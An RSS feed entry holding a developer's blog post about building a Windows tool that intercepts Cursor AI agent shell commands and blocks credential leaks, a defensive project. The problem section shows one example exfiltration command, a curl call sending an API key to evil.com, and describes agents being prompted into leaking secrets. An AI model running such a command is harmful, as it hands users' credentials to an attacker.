<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: kamaljosh</title>
    <description>The latest articles on DEV Community by kamaljosh (@kamaljosh).</description>
    <link>https://dev.to/kamaljosh</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3907400%2Ff4cc06ab-f1be-4be4-99f2-247cc67503db.png</url>
      <title>DEV Community: kamaljosh</title>
      <link>https://dev.to/kamaljosh</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/kamaljosh"/>
    <language>en</language>
    <item>
      <title>How I Built a Real-Time AI Firewall for Cursor</title>
      <dc:creator>kamaljosh</dc:creator>
      <pubDate>Fri, 01 May 2026 11:06:30 +0000</pubDate>
      <link>https://dev.to/kamaljosh/how-i-built-a-real-time-ai-firewall-for-cursor-1mci</link>
      <guid>https://dev.to/kamaljosh/how-i-built-a-real-time-ai-firewall-for-cursor-1mci</guid>
      <description>&lt;p&gt;I built a working security tool that intercepts Cursor's AI agent &lt;br&gt;
commands before they execute and blocks credential leaks in real time.&lt;/p&gt;

&lt;p&gt;Here's how it happened.&lt;/p&gt;
&lt;h2&gt;
  
  
  The Problem
&lt;/h2&gt;

&lt;p&gt;AI coding assistants like Cursor run with shell access and your API keys &lt;br&gt;
in the environment. One bad prompt and your secrets are gone:&lt;/p&gt;

&lt;p&gt;curl "&lt;a href="https://evil.com/steal?key=$ANTHROPIC_API_KEY" rel="noopener noreferrer"&gt;https://evil.com/steal?key=$ANTHROPIC_API_KEY&lt;/a&gt;"&lt;/p&gt;

&lt;p&gt;A Windows Electron app that sits between Cursor and the internet:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Cursor agent tries to run a shell command&lt;/li&gt;
&lt;li&gt;PowerShell hook intercepts it before execution
&lt;/li&gt;
&lt;li&gt;pipelock scans it for credentials, SSNs, Aadhaar numbers&lt;/li&gt;
&lt;li&gt;If it matches a rule → BLOCKED&lt;/li&gt;
&lt;li&gt;Live UI shows the alert in real time&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  The Bug That Took a While
&lt;/h2&gt;

&lt;p&gt;The hardest part wasn't the security logic — it was a &lt;code&gt;n++&lt;/code&gt; prefix &lt;br&gt;
appearing before the JSON that pipelock received. Took a while to &lt;br&gt;
figure out but once I saw it the fix was simple.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$start&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$raw&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;IndexOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'{'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="kr"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$start&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-gt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$raw&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$raw&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Substring&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$start&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  The Result
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcaplifr7lu167c4wtma7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcaplifr7lu167c4wtma7.png" alt=" " width="800" height="95"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Try It Yourself
&lt;/h2&gt;

&lt;p&gt;→ &lt;a href="https://github.com/kamaljosh/dlp-monitor" rel="noopener noreferrer"&gt;https://github.com/kamaljosh/dlp-monitor&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Built with pipelock, Electron, and PowerShell.&lt;/p&gt;

</description>
    </item>
  </channel>
</rss>
